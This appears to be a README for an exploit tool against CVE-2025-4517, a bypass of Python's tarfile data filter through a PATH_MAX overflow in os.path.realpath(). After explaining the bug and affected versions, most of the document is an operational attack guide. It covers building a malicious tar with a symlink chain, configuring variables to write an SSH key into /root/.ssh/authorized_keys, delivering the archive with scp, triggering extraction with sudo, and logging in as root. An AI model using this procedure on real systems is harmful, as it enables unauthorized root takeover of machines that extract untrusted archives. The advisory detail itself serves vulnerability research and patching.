
Python tarfile data filter bypass via PATH_MAX overflow in os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile Data Filter Bypass via PATH_MAX OverflowAuthor: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Advisory: GHSA-6r6c-684h-9j7p CPython Fix: PR #135037
Python's tarfile.extractall(filter="data") is supposed to safely extract tar archives by preventing path traversal (absolute paths, .. sequences, and symlinks escaping the destination). However, a bug in os.path.realpath(strict=False) allows this filter to be bypassed entirely.
When the resolved path exceeds PATH_MAX (4096 bytes on Linux), silently stops resolving symlinks and falls back to . This means a carefully crafted symlink chain can trick Python into thinking a symlink resolves inside the extraction directory when it actually escapes to .
os.path.realpath()/| Branch | Affected | Fixed In |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
The exploit constructs a tar archive containing:
realpathThe core insight: following a/b/c/.../p through short symlinks stays under PATH_MAX, but realpath expands each to the ~240-char real directory name. By the time it hits the 254-char link name, the resolved path exceeds 4096 bytes and realpath gives up — silently returning an incorrect result.
flowchart TD
A["Attacker crafts malicious tar"] --> B["tar contains:
16 dir/symlink pairs
254-char escape symlink
'escape' symlink to /
payload file"]
B --> C["Target extracts with
tarfile.extractall(filter='data')"]
C --> D{"Python resolves symlinks
via os.path.realpath()"}
D --> E["Follows short symlinks a→ddd...d
Resolved path grows with each step"]
E --> F{"Resolved path length
> PATH_MAX (4096)?"}
F -->|"No (normal)"| G["realpath correctly resolves
Symlink blocked by filter ✓"]
F -->|"Yes (overflow!)"| H["realpath STOPS resolving
Falls back to string manipulation"]
H --> I["Python thinks symlink
resolves INSIDE extraction dir"]
I --> J["Filter PASSES the symlink ✗"]
J --> K["OS follows symlink correctly
'escape' resolves to /"]
K --> L["Payload written to
arbitrary file on disk"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fffsequenceDiagram
participant A as Attacker Machine
participant T as Target Machine
Note over A: Phase 1 — Preparation
A->>A: Generate SSH keypair (ssh-keygen)
A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar
Note over A,T: Phase 2 — Delivery
A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
T->>T: Place tar in location accessible<br/>to the vulnerable script
Note over T: Phase 3 — Exploitation
T->>T: Trigger extraction via the<br/>vulnerable Python script
T->>T: Python calls tarfile.extractall(filter="data")
Note over T: What Python sees vs reality
T->>T: realpath() overflows at PATH_MAX
T->>T: Filter thinks "escape" symlink is safe
T->>T: OS follows "escape" → resolves to /
T->>T: Payload written to /root/.ssh/authorized_keys
Note over A,T: Phase 4 — Access
A->>T: SSH as root using the written key
T-->>A: Root shell obtainedgraph LR
subgraph "Tar Members (extracted in order)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
end
S1 -.->|"short path<br/>stays small"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
S5 -.->|"resolves to /"| F1Both scripts have a configuration section at the top with these variables:
| Variable | Description | Example |
|---|---|---|
DEST_DIR | Full path to the extraction directory on the target | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Number of directories from / to DEST_DIR | 4 for /opt/app/staging/dir/ |
TARGET_FILE | File to write, relative to / | root/.ssh/authorized_keys |
PAYLOAD | Content to write into the target file | Your SSH public key |
OUTPUT | Output tar filename | Must match the target's expected pattern |
Option A: Python
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Generate the malicious tar
python3 CVE-2025-4517.py
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
Option B: Go
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output
# 3. Generate the malicious tar
go run CVE-2025-4517.go
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH as root using the planted key
ssh -i root_key root@target
Count the number of directories from / to your extraction path:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Any Python script using tarfile.extractall() with filter="data" on an affected version is potentially exploitable:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNERABLE
The filter="data" was introduced as a security measure to prevent tar path traversal attacks. Ironically, the vulnerability exists in the very mechanism (os.path.realpath) that the filter relies on to validate symlink targets.
This tool is provided for authorized security testing, educational purposes, and research only. Only use this against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse of this tool.